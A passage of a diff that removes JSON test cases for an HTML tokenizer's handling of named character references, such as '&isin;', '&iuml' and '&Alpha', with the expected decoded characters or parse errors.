-"output": ["ParseError", ["Character", "\u00BF"]]},
-
-{"description": "Named entity: isin with a semi-colon.",
-"input":"&isin;",
-"output": [["Character", "\u2208"]]},
-
-{"description": "Named entity: iuml with a semi-colon.",
-"input":"&iuml;",
-"output": [["Character", "\u00EF"]]},
-
-{"description": "Named entity: iuml without a semi-colon.",
-"input":"&iuml",
-"output": ["ParseError", ["Character", "\u00EF"]]},
-
-{"description": "Named entity: kappa with a semi-colon.",
-"input":"&kappa;",
-"output": [["Character", "\u03BA"]]},
-
-{"description": "Named entity: lArr with a semi-colon.",
-"input":"&lArr;",
-"output": [["Character", "\u21D0"]]},
-
-{"description": "Named entity: lambda with a semi-colon.",
-"input":"&lambda;",
-"output": [["Character", "\u03BB"]]},
-
-{"description": "Named entity: lang with a semi-colon.",
-"input":"&lang;",
-"output": [["Character", "\u3008"]]},
-
-{"description": "Named entity: laquo with a semi-colon.",
-"input":"&laquo;",
-"output": [["Character", "\u00AB"]]},
-
-{"description": "Named entity: laquo without a semi-colon.",
-"input":"&laquo",
-"output": ["ParseError", ["Character", "\u00AB"]]},
-
-{"description": "Named entity: larr with a semi-colon.",
-"input":"&larr;",
-"output": [["Character", "\u2190"]]},
-
-{"description": "Named entity: lceil with a semi-colon.",
-"input":"&lceil;",
-"output": [["Character", "\u2308"]]},
-
-{"description": "Named entity: ldquo with a semi-colon.",
-"input":"&ldquo;",
-"output": [["Character", "\u201C"]]},
-
-{"description": "Named entity: le with a semi-colon.",
-"input":"&le;",
-"output": [["Character", "\u2264"]]},
-
-{"description": "Named entity: lfloor with a semi-colon.",
-"input":"&lfloor;",
-"output": [["Character", "\u230A"]]},
-
-{"description": "Named entity: lowast with a semi-colon.",
-"input":"&lowast;",
-"output": [["Character", "\u2217"]]},
-
-{"description": "Named entity: loz with a semi-colon.",
-"input":"&loz;",
-"output": [["Character", "\u25CA"]]},
-
-{"description": "Named entity: lrm with a semi-colon.",
-"input":"&lrm;",
-"output": [["Character", "\u200E"]]},
-
-{"description": "Named entity: lsaquo with a semi-colon.",
-"input":"&lsaquo;",
-"output": [["Character", "\u2039"]]},
-
-{"description": "Named entity: lsquo with a semi-colon.",
-"input":"&lsquo;",
-"output": [["Character", "\u2018"]]},
-
-{"description": "Named entity: lt with a semi-colon.",
-"input":"&lt;",
-"output": [["Character", "\u003C"]]},
-
-{"description": "Named entity: lt without a semi-colon.",
-"input":"&lt",
-"output": ["ParseError", ["Character", "\u003C"]]},
-
-{"description": "Named entity: macr with a semi-colon.",
-"input":"&macr;",
-"output": [["Character", "\u00AF"]]},
-
-{"description": "Named entity: macr without a semi-colon.",
-"input":"&macr",
-"output": ["ParseError", ["Character", "\u00AF"]]},
-
-{"description": "Named entity: mdash with a semi-colon.",
-"input":"&mdash;",
-"output": [["Character", "\u2014"]]},
-
-{"description": "Named entity: micro with a semi-colon.",
-"input":"&micro;",
-"output": [["Character", "\u00B5"]]},
-
-{"description": "Named entity: micro without a semi-colon.",
-"input":"&micro",
-"output": ["ParseError", ["Character", "\u00B5"]]},
-
-{"description": "Named entity: middot with a semi-colon.",
-"input":"&middot;",
-"output": [["Character", "\u00B7"]]},
-
-{"description": "Named entity: middot without a semi-colon.",
-"input":"&middot",
-"output": ["ParseError", ["Character", "\u00B7"]]},
-
-{"description": "Named entity: minus with a semi-colon.",
-"input":"&minus;",
-"output": [["Character", "\u2212"]]},
-
-{"description": "Named entity: mu with a semi-colon.",
-"input":"&mu;",
-"output": [["Character", "\u03BC"]]},
-
-{"description": "Named entity: nabla with a semi-colon.",
-"input":"&nabla;",
-"output": [["Character", "\u2207"]]},
-
-{"description": "Named entity: nbsp with a semi-colon.",
-"input":"&nbsp;",
-"output": [["Character", "\u00A0"]]},
-
-{"description": "Named entity: nbsp without a semi-colon.",
-"input":"&nbsp",
-"output": ["ParseError", ["Character", "\u00A0"]]},
-
-{"description": "Named entity: ndash with a semi-colon.",
-"input":"&ndash;",
-"output": [["Character", "\u2013"]]},
-
-{"description": "Named entity: ne with a semi-colon.",
-"input":"&ne;",
-"output": [["Character", "\u2260"]]},
-
-{"description": "Named entity: ni with a semi-colon.",
-"input":"&ni;",
-"output": [["Character", "\u220B"]]},
-
-{"description": "Named entity: not with a semi-colon.",
-"input":"&not;",
-"output": [["Character", "\u00AC"]]},
-
-{"description": "Named entity: not without a semi-colon.",
-"input":"&not",
-"output": ["ParseError", ["Character", "\u00AC"]]},
-
-{"description": "Named entity: notin with a semi-colon.",
-"input":"&notin;",
-"output": [["Character", "\u2209"]]},
-
-{"description": "Named entity: nsub with a semi-colon.",
-"input":"&nsub;",
-"output": [["Character", "\u2284"]]},
-
-{"description": "Named entity: ntilde with a semi-colon.",
-"input":"&ntilde;",
-"output": [["Character", "\u00F1"]]},
-
-{"description": "Named entity: ntilde without a semi-colon.",
-"input":"&ntilde",
-"output": ["ParseError", ["Character", "\u00F1"]]},
-
-{"description": "Named entity: nu with a semi-colon.",
-"input":"&nu;",
-"output": [["Character", "\u03BD"]]},
-
-{"description": "Named entity: oacute with a semi-colon.",
-"input":"&oacute;",
-"output": [["Character", "\u00F3"]]},
-
-{"description": "Named entity: oacute without a semi-colon.",
-"input":"&oacute",
-"output": ["ParseError", ["Character", "\u00F3"]]},
-
-{"description": "Named entity: ocirc with a semi-colon.",
-"input":"&ocirc;",
-"output": [["Character", "\u00F4"]]},
-
-{"description": "Named entity: ocirc without a semi-colon.",
-"input":"&ocirc",
-"output": ["ParseError", ["Character", "\u00F4"]]},
-
-{"description": "Named entity: oelig with a semi-colon.",
-"input":"&oelig;",
-"output": [["Character", "\u0153"]]},
-
-{"description": "Named entity: ograve with a semi-colon.",
-"input":"&ograve;",
-"output": [["Character", "\u00F2"]]},
-
-{"description": "Named entity: ograve without a semi-colon.",
-"input":"&ograve",
-"output": ["ParseError", ["Character", "\u00F2"]]},
-
-{"description": "Named entity: oline with a semi-colon.",
-"input":"&oline;",
-"output": [["Character", "\u203E"]]},
-
-{"description": "Named entity: omega with a semi-colon.",
-"input":"&omega;",
-"output": [["Character", "\u03C9"]]},
-
-{"description": "Named entity: omicron with a semi-colon.",
-"input":"&omicron;",
-"output": [["Character", "\u03BF"]]},
-
-{"description": "Named entity: oplus with a semi-colon.",
-"input":"&oplus;",
-"output": [["Character", "\u2295"]]},
-
-{"description": "Named entity: or with a semi-colon.",
-"input":"&or;",
-"output": [["Character", "\u2228"]]},
-
-{"description": "Named entity: ordf with a semi-colon.",
-"input":"&ordf;",
-"output": [["Character", "\u00AA"]]},
-
-{"description": "Named entity: ordf without a semi-colon.",
-"input":"&ordf",
-"output": ["ParseError", ["Character", "\u00AA"]]},
-
-{"description": "Named entity: ordm with a semi-colon.",
-"input":"&ordm;",
-"output": [["Character", "\u00BA"]]},
-
-{"description": "Named entity: ordm without a semi-colon.",
-"input":"&ordm",
-"output": ["ParseError", ["Character", "\u00BA"]]},
-
-{"description": "Named entity: oslash with a semi-colon.",
-"input":"&oslash;",
-"output": [["Character", "\u00F8"]]},
-
-{"description": "Named entity: oslash without a semi-colon.",
-"input":"&oslash",
-"output": ["ParseError", ["Character", "\u00F8"]]},
-
-{"description": "Named entity: otilde with a semi-colon.",
-"input":"&otilde;",
-"output": [["Character", "\u00F5"]]},
-
-{"description": "Named entity: otilde without a semi-colon.",
-"input":"&otilde",
-"output": ["ParseError", ["Character", "\u00F5"]]},
-
-{"description": "Named entity: otimes with a semi-colon.",
-"input":"&otimes;",
-"output": [["Character", "\u2297"]]},
-
-{"description": "Named entity: ouml with a semi-colon.",
-"input":"&ouml;",
-"output": [["Character", "\u00F6"]]},
-
-{"description": "Named entity: ouml without a semi-colon.",
-"input":"&ouml",
-"output": ["ParseError", ["Character", "\u00F6"]]},
-
-{"description": "Named entity: para with a semi-colon.",
-"input":"&para;",
-"output": [["Character", "\u00B6"]]},
-
-{"description": "Named entity: para without a semi-colon.",
-"input":"&para",
-"output": ["ParseError", ["Character", "\u00B6"]]},
-
-{"description": "Named entity: part with a semi-colon.",
-"input":"&part;",
-"output": [["Character", "\u2202"]]},
-
-{"description": "Named entity: permil with a semi-colon.",
-"input":"&permil;",
-"output": [["Character", "\u2030"]]},
-
-{"description": "Named entity: perp with a semi-colon.",
-"input":"&perp;",
-"output": [["Character", "\u22A5"]]},
-
-{"description": "Named entity: phi with a semi-colon.",
-"input":"&phi;",
-"output": [["Character", "\u03C6"]]},
-
-{"description": "Named entity: pi with a semi-colon.",
-"input":"&pi;",
-"output": [["Character", "\u03C0"]]},
-
-{"description": "Named entity: piv with a semi-colon.",
-"input":"&piv;",
-"output": [["Character", "\u03D6"]]},
-
-{"description": "Named entity: plusmn with a semi-colon.",
-"input":"&plusmn;",
-"output": [["Character", "\u00B1"]]},
-
-{"description": "Named entity: plusmn without a semi-colon.",
-"input":"&plusmn",
-"output": ["ParseError", ["Character", "\u00B1"]]},
-
-{"description": "Named entity: pound with a semi-colon.",
-"input":"&pound;",
-"output": [["Character", "\u00A3"]]},
-
-{"description": "Named entity: pound without a semi-colon.",
-"input":"&pound",
-"output": ["ParseError", ["Character", "\u00A3"]]},
-
-{"description": "Named entity: prime with a semi-colon.",
-"input":"&prime;",
-"output": [["Character", "\u2032"]]},
-
-{"description": "Named entity: prod with a semi-colon.",
-"input":"&prod;",
-"output": [["Character", "\u220F"]]},
-
-{"description": "Named entity: prop with a semi-colon.",
-"input":"&prop;",
-"output": [["Character", "\u221D"]]},
-
-{"description": "Named entity: psi with a semi-colon.",
-"input":"&psi;",
-"output": [["Character", "\u03C8"]]},
-
-{"description": "Named entity: quot with a semi-colon.",
-"input":"&quot;",
-"output": [["Character", "\u0022"]]},
-
-{"description": "Named entity: quot without a semi-colon.",
-"input":"&quot",
-"output": ["ParseError", ["Character", "\u0022"]]},
-
-{"description": "Named entity: rArr with a semi-colon.",
-"input":"&rArr;",
-"output": [["Character", "\u21D2"]]},
-
-{"description": "Named entity: radic with a semi-colon.",
-"input":"&radic;",
-"output": [["Character", "\u221A"]]},
-
-{"description": "Named entity: rang with a semi-colon.",
-"input":"&rang;",
-"output": [["Character", "\u3009"]]},
-
-{"description": "Named entity: raquo with a semi-colon.",
-"input":"&raquo;",
-"output": [["Character", "\u00BB"]]},
-
-{"description": "Named entity: raquo without a semi-colon.",
-"input":"&raquo",
-"output": ["ParseError", ["Character", "\u00BB"]]},
-
-{"description": "Named entity: rarr with a semi-colon.",
-"input":"&rarr;",
-"output": [["Character", "\u2192"]]},
-
-{"description": "Named entity: rceil with a semi-colon.",
-"input":"&rceil;",
-"output": [["Character", "\u2309"]]},
-
-{"description": "Named entity: rdquo with a semi-colon.",
-"input":"&rdquo;",
-"output": [["Character", "\u201D"]]},
-
-{"description": "Named entity: real with a semi-colon.",
-"input":"&real;",
-"output": [["Character", "\u211C"]]},
-
-{"description": "Named entity: reg with a semi-colon.",
-"input":"&reg;",
-"output": [["Character", "\u00AE"]]},
-
-{"description": "Named entity: reg without a semi-colon.",
-"input":"&reg",
-"output": ["ParseError", ["Character", "\u00AE"]]},
-
-{"description": "Named entity: rfloor with a semi-colon.",
-"input":"&rfloor;",
-"output": [["Character", "\u230B"]]},
-
-{"description": "Named entity: rho with a semi-colon.",
-"input":"&rho;",
-"output": [["Character", "\u03C1"]]},
-
-{"description": "Named entity: rlm with a semi-colon.",
-"input":"&rlm;",
-"output": [["Character", "\u200F"]]},
-
-{"description": "Named entity: rsaquo with a semi-colon.",
-"input":"&rsaquo;",
-"output": [["Character", "\u203A"]]},
-
-{"description": "Named entity: rsquo with a semi-colon.",
-"input":"&rsquo;",
-"output": [["Character", "\u2019"]]},
-
-{"description": "Named entity: sbquo with a semi-colon.",
-"input":"&sbquo;",
-"output": [["Character", "\u201A"]]},
-
-{"description": "Named entity: scaron with a semi-colon.",
-"input":"&scaron;",
-"output": [["Character", "\u0161"]]},
-
-{"description": "Named entity: sdot with a semi-colon.",
-"input":"&sdot;",
-"output": [["Character", "\u22C5"]]},
-
-{"description": "Named entity: sect with a semi-colon.",
-"input":"&sect;",
-"output": [["Character", "\u00A7"]]},
-
-{"description": "Named entity: sect without a semi-colon.",
-"input":"&sect",
-"output": ["ParseError", ["Character", "\u00A7"]]},
-
-{"description": "Named entity: shy with a semi-colon.",
-"input":"&shy;",
-"output": [["Character", "\u00AD"]]},
-
-{"description": "Named entity: shy without a semi-colon.",
-"input":"&shy",
-"output": ["ParseError", ["Character", "\u00AD"]]},
-
-{"description": "Named entity: sigma with a semi-colon.",
-"input":"&sigma;",
-"output": [["Character", "\u03C3"]]},
-
-{"description": "Named entity: sigmaf with a semi-colon.",
-"input":"&sigmaf;",
-"output": [["Character", "\u03C2"]]},
-
-{"description": "Named entity: sim with a semi-colon.",
-"input":"&sim;",
-"output": [["Character", "\u223C"]]},
-
-{"description": "Named entity: spades with a semi-colon.",
-"input":"&spades;",
-"output": [["Character", "\u2660"]]},
-
-{"description": "Named entity: sub with a semi-colon.",
-"input":"&sub;",
-"output": [["Character", "\u2282"]]},
-
-{"description": "Named entity: sube with a semi-colon.",
-"input":"&sube;",
-"output": [["Character", "\u2286"]]},
-
-{"description": "Named entity: sum with a semi-colon.",
-"input":"&sum;",
-"output": [["Character", "\u2211"]]},
-
-{"description": "Named entity: sup1 with a semi-colon.",
-"input":"&sup1;",
-"output": [["Character", "\u00B9"]]},
-
-{"description": "Named entity: sup1 without a semi-colon.",
-"input":"&sup1",
-"output": ["ParseError", ["Character", "\u00B9"]]},
-
-{"description": "Named entity: sup2 with a semi-colon.",
-"input":"&sup2;",
-"output": [["Character", "\u00B2"]]},
-
-{"description": "Named entity: sup2 without a semi-colon.",
-"input":"&sup2",
-"output": ["ParseError", ["Character", "\u00B2"]]},
-
-{"description": "Named entity: sup3 with a semi-colon.",
-"input":"&sup3;",
-"output": [["Character", "\u00B3"]]},
-
-{"description": "Named entity: sup3 without a semi-colon.",
-"input":"&sup3",
-"output": ["ParseError", ["Character", "\u00B3"]]},
-
-{"description": "Named entity: sup with a semi-colon.",
-"input":"&sup;",
-"output": [["Character", "\u2283"]]},
-
-{"description": "Named entity: supe with a semi-colon.",
-"input":"&supe;",
-"output": [["Character", "\u2287"]]},
-
-{"description": "Named entity: szlig with a semi-colon.",
-"input":"&szlig;",
-"output": [["Character", "\u00DF"]]},
-
-{"description": "Named entity: szlig without a semi-colon.",
-"input":"&szlig",
-"output": ["ParseError", ["Character", "\u00DF"]]},
-
-{"description": "Named entity: tau with a semi-colon.",
-"input":"&tau;",
-"output": [["Character", "\u03C4"]]},
-
-{"description": "Named entity: there4 with a semi-colon.",
-"input":"&there4;",
-"output": [["Character", "\u2234"]]},
-
-{"description": "Named entity: theta with a semi-colon.",
-"input":"&theta;",
-"output": [["Character", "\u03B8"]]},
-
-{"description": "Named entity: thetasym with a semi-colon.",
-"input":"&thetasym;",
-"output": [["Character", "\u03D1"]]},
-
-{"description": "Named entity: thinsp with a semi-colon.",
-"input":"&thinsp;",
-"output": [["Character", "\u2009"]]},
-
-{"description": "Named entity: thorn with a semi-colon.",
-"input":"&thorn;",
-"output": [["Character", "\u00FE"]]},
-
-{"description": "Named entity: thorn without a semi-colon.",
-"input":"&thorn",
-"output": ["ParseError", ["Character", "\u00FE"]]},
-
-{"description": "Named entity: tilde with a semi-colon.",
-"input":"&tilde;",
-"output": [["Character", "\u02DC"]]},
-
-{"description": "Named entity: times with a semi-colon.",
-"input":"&times;",
-"output": [["Character", "\u00D7"]]},
-
-{"description": "Named entity: times without a semi-colon.",
-"input":"&times",
-"output": ["ParseError", ["Character", "\u00D7"]]},
-
-{"description": "Named entity: trade with a semi-colon.",
-"input":"&trade;",
-"output": [["Character", "\u2122"]]},
-
-{"description": "Named entity: uArr with a semi-colon.",
-"input":"&uArr;",
-"output": [["Character", "\u21D1"]]},
-
-{"description": "Named entity: uacute with a semi-colon.",
-"input":"&uacute;",
-"output": [["Character", "\u00FA"]]},
-
-{"description": "Named entity: uacute without a semi-colon.",
-"input":"&uacute",
-"output": ["ParseError", ["Character", "\u00FA"]]},
-
-{"description": "Named entity: uarr with a semi-colon.",
-"input":"&uarr;",
-"output": [["Character", "\u2191"]]},
-
-{"description": "Named entity: ucirc with a semi-colon.",
-"input":"&ucirc;",
-"output": [["Character", "\u00FB"]]},
-
-{"description": "Named entity: ucirc without a semi-colon.",
-"input":"&ucirc",
-"output": ["ParseError", ["Character", "\u00FB"]]},
-
-{"description": "Named entity: ugrave with a semi-colon.",
-"input":"&ugrave;",
-"output": [["Character", "\u00F9"]]},
-
-{"description": "Named entity: ugrave without a semi-colon.",
-"input":"&ugrave",
-"output": ["ParseError", ["Character", "\u00F9"]]},
-
-{"description": "Named entity: uml with a semi-colon.",
-"input":"&uml;",
-"output": [["Character", "\u00A8"]]},
-
-{"description": "Named entity: uml without a semi-colon.",
-"input":"&uml",
-"output": ["ParseError", ["Character", "\u00A8"]]},
-
-{"description": "Named entity: upsih with a semi-colon.",
-"input":"&upsih;",
-"output": [["Character", "\u03D2"]]},
-
-{"description": "Named entity: upsilon with a semi-colon.",
-"input":"&upsilon;",
-"output": [["Character", "\u03C5"]]},
-
-{"description": "Named entity: uuml with a semi-colon.",
-"input":"&uuml;",
-"output": [["Character", "\u00FC"]]},
-
-{"description": "Named entity: uuml without a semi-colon.",
-"input":"&uuml",
-"output": ["ParseError", ["Character", "\u00FC"]]},
-
-{"description": "Named entity: weierp with a semi-colon.",
-"input":"&weierp;",
-"output": [["Character", "\u2118"]]},
-
-{"description": "Named entity: xi with a semi-colon.",
-"input":"&xi;",
-"output": [["Character", "\u03BE"]]},
-
-{"description": "Named entity: yacute with a semi-colon.",
-"input":"&yacute;",
-"output": [["Character", "\u00FD"]]},
-
-{"description": "Named entity: yacute without a semi-colon.",
-"input":"&yacute",
-"output": ["ParseError", ["Character", "\u00FD"]]},
-
-{"description": "Named entity: yen with a semi-colon.",
-"input":"&yen;",
-"output": [["Character", "\u00A5"]]},
-
-{"description": "Named entity: yen without a semi-colon.",
-"input":"&yen",
-"output": ["ParseError", ["Character", "\u00A5"]]},
-
-{"description": "Named entity: yuml with a semi-colon.",
-"input":"&yuml;",
-"output": [["Character", "\u00FF"]]},
-
-{"description": "Named entity: yuml without a semi-colon.",
-"input":"&yuml",
-"output": ["ParseError", ["Character", "\u00FF"]]},
-
-{"description": "Named entity: zeta with a semi-colon.",
-"input":"&zeta;",
-"output": [["Character", "\u03B6"]]},
-
-{"description": "Named entity: zwj with a semi-colon.",
-"input":"&zwj;",
-"output": [["Character", "\u200D"]]},
-
-{"description": "Named entity: zwnj with a semi-colon.",
-"input":"&zwnj;",
-"output": [["Character", "\u200C"]]},
-
-{"description": "Bad named entity: Alpha without a semi-colon.",
-"input":"&Alpha",
-"output": ["ParseError", ["Character", "&Alpha"]]},
-
-{"description": "Bad named entity: alpha without a semi-colon.",
-"input":"&alpha",
-"output": ["ParseError", ["Character", "&alpha"]]},
-
-{"description": "Bad named entity: and without a semi-colon.",
-"input":"&and",
-"output": ["ParseError", ["Character", "&and"]]},
-
-{"description": "Bad named entity: ang without a semi-colon.",
-"input":"&ang",
-"output": ["ParseError", ["Character", "&ang"]]},
-
-{"description": "Bad named entity: apos without a semi-colon.",
-"input":"&apos",
-"output": ["ParseError", ["Character", "&apos"]]},
-
-{"description": "Bad named entity: asymp without a semi-colon.",
-"input":"&asymp",
-"output": ["ParseError", ["Character", "&asymp"]]},
-
-{"description": "Bad named entity: bdquo without a semi-colon.",
-"input":"&bdquo",
-"output": ["ParseError", ["Character", "&bdquo"]]},
-
-{"description": "Bad named entity: Beta without a semi-colon.",
-"input":"&Beta",
-"output": ["ParseError", ["Character", "&Beta"]]},
-
-{"description": "Bad named entity: beta without a semi-colon.",
-"input":"&beta",
-"output": ["ParseError", ["Character", "&beta"]]},
-
-{"description": "Bad named entity: bull without a semi-colon.",
-"input":"&bull",
-"output": ["ParseError", ["Character", "&bull"]]},
-
-{"description": "Bad named entity: cap without a semi-colon.",
-"input":"&cap",
-"output": ["ParseError", ["Character", "&cap"]]},
-
-{"description": "Bad named entity: Chi without a semi-colon.",
-"input":"&Chi",
-"output": ["ParseError", ["Character", "&Chi"]]},
-
-{"description": "Bad named entity: chi without a semi-colon.",
-"input":"&chi",
-"output": ["ParseError", ["Character", "&chi"]]},
-
-{"description": "Bad named entity: circ without a semi-colon.",
-"input":"&circ",
-"output": ["ParseError", ["Character", "&circ"]]},
-
-{"description": "Bad named entity: clubs without a semi-colon.",
-"input":"&clubs",
-"output": ["ParseError", ["Character", "&clubs"]]},
-
-{"description": "Bad named entity: cong without a semi-colon.",
-"input":"&cong",
-"output": ["ParseError", ["Character", "&cong"]]},
-
-{"description": "Bad named entity: crarr without a semi-colon.",
-"input":"&crarr",
-"output": ["ParseError", ["Character", "&crarr"]]},
-
-{"description": "Bad named entity: cup without a semi-colon.",
-"input":"&cup",
-"output": ["ParseError", ["Character", "&cup"]]},
-
-{"description": "Bad named entity: dagger without a semi-colon.",
-"input":"&dagger",
-"output": ["ParseError", ["Character", "&dagger"]]},
-
-{"description": "Bad named entity: dagger without a semi-colon.",
-"input":"&dagger",
-"output": ["ParseError", ["Character", "&dagger"]]},
-
-{"description": "Bad named entity: darr without a semi-colon.",
-"input":"&darr",
-"output": ["ParseError", ["Character", "&darr"]]},
-
-{"description": "Bad named entity: darr without a semi-colon.",
-"input":"&darr",
-"output": ["ParseError", ["Character", "&darr"]]},
-
-{"description": "Bad named entity: Delta without a semi-colon.",
-"input":"&Delta",
-"output": ["ParseError", ["Character", "&Delta"]]},
-
-{"description": "Bad named entity: delta without a semi-colon.",
-"input":"&delta",
-"output": ["ParseError", ["Character", "&delta"]]},
-
-{"description": "Bad named entity: diams without a semi-colon.",
-"input":"&diams",
-"output": ["ParseError", ["Character", "&diams"]]},
-
-{"description": "Bad named entity: empty without a semi-colon.",
-"input":"&empty",
-"output": ["ParseError", ["Character", "&empty"]]},
-
-{"description": "Bad named entity: emsp without a semi-colon.",
-"input":"&emsp",
-"output": ["ParseError", ["Character", "&emsp"]]},
-
-{"description": "Bad named entity: ensp without a semi-colon.",
-"input":"&ensp",
-"output": ["ParseError", ["Character", "&ensp"]]},
-
-{"description": "Bad named entity: Epsilon without a semi-colon.",
-"input":"&Epsilon",
-"output": ["ParseError", ["Character", "&Epsilon"]]},
-
-{"description": "Bad named entity: epsilon without a semi-colon.",
-"input":"&epsilon",
-"output": ["ParseError", ["Character", "&epsilon"]]},
-
-{"description": "Bad named entity: equiv without a semi-colon.",
-"input":"&equiv",
-"output": ["ParseError", ["Character", "&equiv"]]},
-
-{"description": "Bad named entity: Eta without a semi-colon.",
-"input":"&Eta",
-"output": ["ParseError", ["Character", "&Eta"]]},
-
-{"description": "Bad named entity: eta without a semi-colon.",
-"input":"&eta",
-"output": ["ParseError", ["Character", "&eta"]]},
-
-{"description": "Bad named entity: euro without a semi-colon.",
-"input":"&euro",
-"output": ["ParseError", ["Character", "&euro"]]},
-
-{"description": "Bad named entity: exist without a semi-colon.",
-"input":"&exist",
-"output": ["ParseError", ["Character", "&exist"]]},
-
-{"description": "Bad named entity: fnof without a semi-colon.",
-"input":"&fnof",
-"output": ["ParseError", ["Character", "&fnof"]]},
-
-{"description": "Bad named entity: forall without a semi-colon.",
-"input":"&forall",
-"output": ["ParseError", ["Character", "&forall"]]},
-
-{"description": "Bad named entity: frasl without a semi-colon.",
-"input":"&frasl",
-"output": ["ParseError", ["Character", "&frasl"]]},
-
-{"description": "Bad named entity: Gamma without a semi-colon.",
-"input":"&Gamma",
-"output": ["ParseError", ["Character", "&Gamma"]]},
-
-{"description": "Bad named entity: gamma without a semi-colon.",
-"input":"&gamma",
-"output": ["ParseError", ["Character", "&gamma"]]},
-
-{"description": "Bad named entity: ge without a semi-colon.",
-"input":"&ge",
-"output": ["ParseError", ["Character", "&ge"]]},
-
-{"description": "Bad named entity: harr without a semi-colon.",
-"input":"&harr",
-"output": ["ParseError", ["Character", "&harr"]]},
-
-{"description": "Bad named entity: harr without a semi-colon.",
-"input":"&harr",
-"output": ["ParseError", ["Character", "&harr"]]},
-
-{"description": "Bad named entity: hearts without a semi-colon.",
-"input":"&hearts",
-"output": ["ParseError", ["Character", "&hearts"]]},
-
-{"description": "Bad named entity: hellip without a semi-colon.",
-"input":"&hellip",
-"output": ["ParseError", ["Character", "&hellip"]]},
-
-{"description": "Bad named entity: image without a semi-colon.",
-"input":"&image",
-"output": ["ParseError", ["Character", "&image"]]},
-
-{"description": "Bad named entity: infin without a semi-colon.",
-"input":"&infin",
-"output": ["ParseError", ["Character", "&infin"]]},
-
-{"description": "Bad named entity: int without a semi-colon.",
-"input":"&int",
-"output": ["ParseError", ["Character", "&int"]]},
-
-{"description": "Bad named entity: Iota without a semi-colon.",
-"input":"&Iota",
-"output": ["ParseError", ["Character", "&Iota"]]},
-
-{"description": "Bad named entity: iota without a semi-colon.",
-"input":"&iota",
-"output": ["ParseError", ["Character", "&iota"]]},
-
-{"description": "Bad named entity: isin without a semi-colon.",
-"input":"&isin",
-"output": ["ParseError", ["Character", "&isin"]]},
-
-{"description": "Bad named entity: Kappa without a semi-colon.",
-"input":"&Kappa",
-"output": ["ParseError", ["Character", "&Kappa"]]},
-
-{"description": "Bad named entity: kappa without a semi-colon.",
-"input":"&kappa",
-"output": ["ParseError", ["Character", "&kappa"]]},
-
-{"description": "Bad named entity: Lambda without a semi-colon.",
-"input":"&Lambda",
-"output": ["ParseError", ["Character", "&Lambda"]]},
-
-{"description": "Bad named entity: lambda without a semi-colon.",
-"input":"&lambda",
-"output": ["ParseError", ["Character", "&lambda"]]},
-
-{"description": "Bad named entity: lang without a semi-colon.",
-"input":"&lang",
-"output": ["ParseError", ["Character", "&lang"]]},
-
-{"description": "Bad named entity: larr without a semi-colon.",
-"input":"&larr",
-"output": ["ParseError", ["Character", "&larr"]]},
-
-{"description": "Bad named entity: larr without a semi-colon.",
-"input":"&larr",
-"output": ["ParseError", ["Character", "&larr"]]},
-
-{"description": "Bad named entity: lceil without a semi-colon.",
-"input":"&lceil",
-"output": ["ParseError", ["Character", "&lceil"]]},
-
-{"description": "Bad named entity: ldquo without a semi-colon.",
-"input":"&ldquo",
-"output": ["ParseError", ["Character", "&ldquo"]]},
-
-{"description": "Bad named entity: le without a semi-colon.",
-"input":"&le",
-"output": ["ParseError", ["Character", "&le"]]},
-
-{"description": "Bad named entity: lfloor without a semi-colon.",
-"input":"&lfloor",
-"output": ["ParseError", ["Character", "&lfloor"]]},
-
-{"description": "Bad named entity: lowast without a semi-colon.",
-"input":"&lowast",
-"output": ["ParseError", ["Character", "&lowast"]]},
-
-{"description": "Bad named entity: loz without a semi-colon.",
-"input":"&loz",
-"output": ["ParseError", ["Character", "&loz"]]},
-
-{"description": "Bad named entity: lrm without a semi-colon.",
-"input":"&lrm",
-"output": ["ParseError", ["Character", "&lrm"]]},
-
-{"description": "Bad named entity: lsaquo without a semi-colon.",
-"input":"&lsaquo",
-"output": ["ParseError", ["Character", "&lsaquo"]]},
-
-{"description": "Bad named entity: lsquo without a semi-colon.",
-"input":"&lsquo",
-"output": ["ParseError", ["Character", "&lsquo"]]},
-
-{"description": "Bad named entity: mdash without a semi-colon.",
-"input":"&mdash",
-"output": ["ParseError", ["Character", "&mdash"]]},
-
-{"description": "Bad named entity: minus without a semi-colon.",
-"input":"&minus",
-"output": ["ParseError", ["Character", "&minus"]]},
-
-{"description": "Bad named entity: Mu without a semi-colon.",
-"input":"&Mu",
-"output": ["ParseError", ["Character", "&Mu"]]},
-
-{"description": "Bad named entity: mu without a semi-colon.",
-"input":"&mu",
-"output": ["ParseError", ["Character", "&mu"]]},
-
-{"description": "Bad named entity: nabla without a semi-colon.",
-"input":"&nabla",
-"output": ["ParseError", ["Character", "&nabla"]]},
-
-{"description": "Bad named entity: ndash without a semi-colon.",
-"input":"&ndash",
-"output": ["ParseError", ["Character", "&ndash"]]},
-
-{"description": "Bad named entity: ne without a semi-colon.",
-"input":"&ne",
-"output": ["ParseError", ["Character", "&ne"]]},
-
-{"description": "Bad named entity: ni without a semi-colon.",
-"input":"&ni",
-"output": ["ParseError", ["Character", "&ni"]]},
-
-{"description": "Bad named entity: notin without a semi-colon.",
-"input":"&notin",
-"output": ["ParseError", ["Character", "\u00ACin"]]},
-
-{"description": "Bad named entity: nsub without a semi-colon.",
-"input":"&nsub",
-"output": ["ParseError", ["Character", "&nsub"]]},
-
-{"description": "Bad named entity: Nu without a semi-colon.",
-"input":"&Nu",
-"output": ["ParseError", ["Character", "&Nu"]]},
-
-{"description": "Bad named entity: nu without a semi-colon.",
-"input":"&nu",
-"output": ["ParseError", ["Character", "&nu"]]},
-
-{"description": "Bad named entity: OElig without a semi-colon.",
-"input":"&OElig",
-"output": ["ParseError", ["Character", "&OElig"]]},
-
-{"description": "Bad named entity: oelig without a semi-colon.",
-"input":"&oelig",
-"output": ["ParseError", ["Character", "&oelig"]]},
-
-{"description": "Bad named entity: oline without a semi-colon.",
-"input":"&oline",
-"output": ["ParseError", ["Character", "&oline"]]},
-
-{"description": "Bad named entity: Omega without a semi-colon.",
-"input":"&Omega",
-"output": ["ParseError", ["Character", "&Omega"]]},
-
-{"description": "Bad named entity: omega without a semi-colon.",
-"input":"&omega",
-"output": ["ParseError", ["Character", "&omega"]]},
-
-{"description": "Bad named entity: Omicron without a semi-colon.",
-"input":"&Omicron",
-"output": ["ParseError", ["Character", "&Omicron"]]},
-
-{"description": "Bad named entity: omicron without a semi-colon.",
-"input":"&omicron",
-"output": ["ParseError", ["Character", "&omicron"]]},
-
-{"description": "Bad named entity: oplus without a semi-colon.",
-"input":"&oplus",
-"output": ["ParseError", ["Character", "&oplus"]]},
-
-{"description": "Bad named entity: or without a semi-colon.",
-"input":"&or",
